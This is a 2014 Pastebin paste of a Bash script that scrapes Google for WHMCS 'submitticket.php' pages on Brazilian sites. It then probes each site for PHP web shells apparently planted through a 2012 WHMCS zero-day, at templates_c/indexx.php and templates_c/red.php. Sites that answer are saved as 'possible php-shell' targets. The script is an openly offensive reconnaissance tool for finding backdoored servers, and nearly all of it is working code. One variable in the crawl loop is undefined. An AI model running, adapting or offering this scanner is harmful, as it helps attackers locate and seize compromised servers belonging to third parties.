Advertisement
MrDha

Untitled

Jul 23rd, 2014
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.84 KB | None | 0 0
  1. #!/bin/bash
  2. #BETA 0.01
  3. clear
  4. cont=0
  5. total=$1
  6. total2=`expr $total \* 10`
  7. PAGES=`echo $total2| sed 's/.$//'`
  8. dork=inurl:submitticket.php site:.br
  9. seconds=$3
  10. [ $# -eq 0 ] && { echo "Usage: $0 $1 [ example: 10 submitticket.php 0 ]"; exit 1; }
  11.  
  12.  
  13. function scan {
  14. echo ""
  15. grep -o 'http://[^"]*.php' googleCRAWLED | sed '/google/d' | sort -u| grep -w 'submitticket.php' | grep -v q=submitticket.php | grep -v submitticket-php  | grep -w 'submitticket.php' --color=always | nl &&
  16. grep -o 'http://[^"]*.php' googleCRAWLED | sed '/google/d' | sort -u| grep -w 'submitticket.php' | grep -v q=submitticket.php | grep -v submitticket-php  | grep -w 'submitticket.php'  > sitesWHMCS1.txt &&
  17. sort -u sitesWHMCS1.txt  >  sites.WHMCS.txt &&
  18. echo ""
  19. echo -e " \033[42;1;37m Results save in. sites.WHCMS.txt ::TOTAL::\033[0m" && echo "" && wc -l sites.WHMCS.txt
  20. echo ""
  21. echo ""
  22. echo -n -e "\033[41;1;36m TOTAL OF PAGES:  $PAGES \033[0m"
  23. echo ""
  24. echo ""
  25. echo "Loading possible pages injection web-shell"
  26. #sed   "s/submitticket.php/submitticket.php\?step=2\&deptid=25/g; s/1//g; s/[[:space:]]//g"  sites.WHMCS.txt > manual-explore.txt
  27.  
  28.  
  29.  
  30. echo
  31. echo -e "\033[0;32m Change Directory..\033[0m"
  32. echo ""
  33.  
  34. sed   "s/submitticket.php/templates_c\/indexx\.php/g; s/1//g; s/[[:space:]]//g"  sites.WHMCS.txt > changed-urls.txt
  35. sed   "s/submitticket.php/templates_c\/red\.php/g; s/1//g; s/[[:space:]]//g"  sites.WHMCS.txt >> changed-urls.txt
  36.  
  37.  
  38. grep -n "ht" changed-urls.txt | sed "s/^/\$/g; s/:h/=\"h/g; s/$/\"/g; p; s/^/echo -e /g; s/\=[^>]*//g" > one
  39.  
  40.  
  41.  
  42. grep -n "ht" changed-urls.txt | sed "s/^/\$/g; s/:h/=\"h/g; s/$/\"/g;  p; s/^/\`curl -s -I \"/g; s/$/\"| cut -c1-15 | sed '\/HTTP\\\\\/1\.1 200 OK\/\!d'\` \''/g;s/=[^>]*php//g; s/\"//g" > two
  43.  
  44.  
  45. paste one two > checagem.sh
  46.  
  47.  
  48. echo ""
  49. sed 's/\$/\A/g; s/echo -e A/echo -e \$A/; s/-I A/-I \$A/;' checagem.sh > Go-Scan.sh &&
  50. echo -e "\033[0;32m ####################################################\033[0m"
  51. echo -e "\033[0;32m #Seaking... SHELL uploaded (WHMCS 0-day March 2012)#\033[0m"
  52. echo -e "\033[0;32m ####################################################\033[0m"
  53.  
  54. sh Go-Scan.sh &&
  55. sh Go-Scan.sh >> list.txt &&
  56. grep 200 list.txt > Scanned.txt
  57. rm googleCRAWLED  checagem.sh changed-urls.txt  Go-Scan.sh  list.txt one two
  58. echo ""
  59. echo ""
  60. echo -e '\033[01;37mSites with HTTP Response 200 in link \033[04;32mPossible vulnerable\033[00;37m!!!'
  61. echo " Save Possible php-shell in: Scanned.txt"
  62. echo "  Finished!!!"
  63. exit
  64. }
  65.  
  66.  
  67.  
  68.  
  69. echo -e "\033[0;32m #####################################################################\033[0m"
  70. echo -e "\033[0;32m # \033[01;34;47mG\033[01;31mO\033[01;33mO\033[01;34mG\033[01;32mL \033[01;31mE\033[00;37;40m \033[0;32mCRAWLER WHMCS Submitticket.php (By Kernel) 25/03/2012 #####\033[0m"
  71. echo -e "\033[0;32m # contact: kernel18@gmail.com                                     ###\033[0m"
  72. echo -e "\033[0;32m #####################################################################\033[0m"
  73.  
  74. echo ""
  75. echo "Counter page google "$PAGES
  76. echo ""
  77. curl --user-agent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" -s "http://www.google.com.br/search?q=$dork&num=100&start=$cont&filter=0" >> googleCRAWLED
  78. grep  "Aproximadamente"  googleCRAWLED | sed 's/.*resultStats>//; s/<nobr>.*//'
  79. echo ""
  80. rm googleCRAWLED
  81.  
  82.  
  83. function checks {
  84. checker=`grep -o "302 Moved" googleCRAWLED | tail -n1`
  85.  
  86. if [ "$checker" = "302 Moved" ]; then
  87. echo "Your IP Blocked by google :]"
  88. scan
  89. fi
  90. }
  91.  
  92.  
  93.     until [ $cont = $total2 ]; do
  94.  
  95. curl --user-agent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" -s "http://www.google.com.br/search?q=$dork&num=100&start=$contagem&filter=0" >> googleCRAWLED
  96.  
  97. echo -n -e "\033[41;1;36m#\033[0m"
  98. sleep $seconds
  99.   cont=`expr $cont + 10`
  100. checks
  101.  done
  102.  
  103.  
  104.  
  105. echo -n -e "\033[41;1;36m[100%]\033[0m"
  106. echo ""
  107.  
  108. echo ""
  109. echo ""
  110. echo ""
  111. scan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement